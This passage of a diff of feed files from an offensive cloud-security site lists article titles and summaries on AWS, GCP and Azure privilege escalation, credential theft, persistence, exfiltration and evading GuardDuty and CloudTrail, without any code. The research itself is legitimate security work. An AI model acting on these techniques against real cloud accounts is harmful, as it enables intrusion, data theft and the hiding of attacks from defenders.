"Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]} \ No newline at end of file diff --git a/feed_rss_created.xml b/feed_rss_created.xml index a14b310bb..c947c35ce 100644 --- a/feed_rss_created.xml +++ b/feed_rss_created.xml @@ -1 +1 @@ - Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Wed, 27 Nov 2024 18:55:24 -0000 Wed, 27 Nov 2024 18:55:24 -0000 1440 MkDocs RSS plugin - v1.16.0 AWS CLI Tips and Tricks A collection of tips and tricks for using the AWS CLI.https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Mon, 04 Nov 2024 03:15:10 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Run Command Abuse Utilise Azure RunCommands for execution and lateral movement.https://hackingthe.cloud/azure/run-command-abuse/ Sat, 05 Oct 2024 05:04:44 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/run-command-abuse/ Exploiting Misconfigured GitLab OIDC AWS IAM Roles Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Sun, 01 Sep 2024 22:46:15 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Wed, 31 Jul 2024 20:37:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 00:15:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:08:01 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Tue, 28 May 2024 16:27:11 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Mon, 29 Jan 2024 03:39:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Sun, 21 Jan 2024 17:59:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Sun, 07 Jan 2024 21:28:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 20 Dec 2023 14:50:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Wed, 20 Dec 2023 01:25:13 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Thu, 07 Dec 2023 10:12:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Mon, 20 Nov 2023 00:54:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Tue, 01 Aug 2023 01:58:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Thu, 13 Jul 2023 03:46:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 20 Feb 2023 16:48:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 10 Feb 2023 15:12:48 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Thu, 26 Jan 2023 01:02:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Wed, 14 Dec 2022 03:27:50 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 05 Dec 2022 02:08:42 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Sat, 05 Nov 2022 00:02:54 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Thu, 13 Oct 2022 01:37:41 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Sun, 18 Sep 2022 21:18:30 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Wed, 24 Aug 2022 12:25:09 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Tue, 23 Aug 2022 14:34:53 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Sat, 09 Jul 2022 00:02:47 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Sat, 14 May 2022 21:51:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Mon, 11 Apr 2022 23:11:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sun, 27 Mar 2022 16:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Sat, 19 Mar 2022 16:57:37 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 17 Mar 2022 14:35:54 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sun, 13 Mar 2022 23:45:47 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Sat, 05 Mar 2022 04:00:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Sun, 27 Feb 2022 22:50:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Wed, 09 Feb 2022 04:00:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 30 Jan 2022 10:32:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Thu, 23 Dec 2021 21:59:38 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Tue, 30 Nov 2021 05:00:09 +0000Hacking The Cloudhttps://hackingthe.cloud/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 04 Nov 2021 21:03:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Sun, 24 Oct 2021 17:41:56 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Thu, 16 Sep 2021 15:02:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Jul 2021 20:46:17 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Tue, 18 May 2021 19:13:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Tue, 13 Apr 2021 02:53:30 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sat, 03 Apr 2021 01:39:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Sat, 20 Feb 2021 04:07:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Sat, 06 Feb 2021 17:17:59 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Role Chain Juggling Keep your access by chaining assume-role 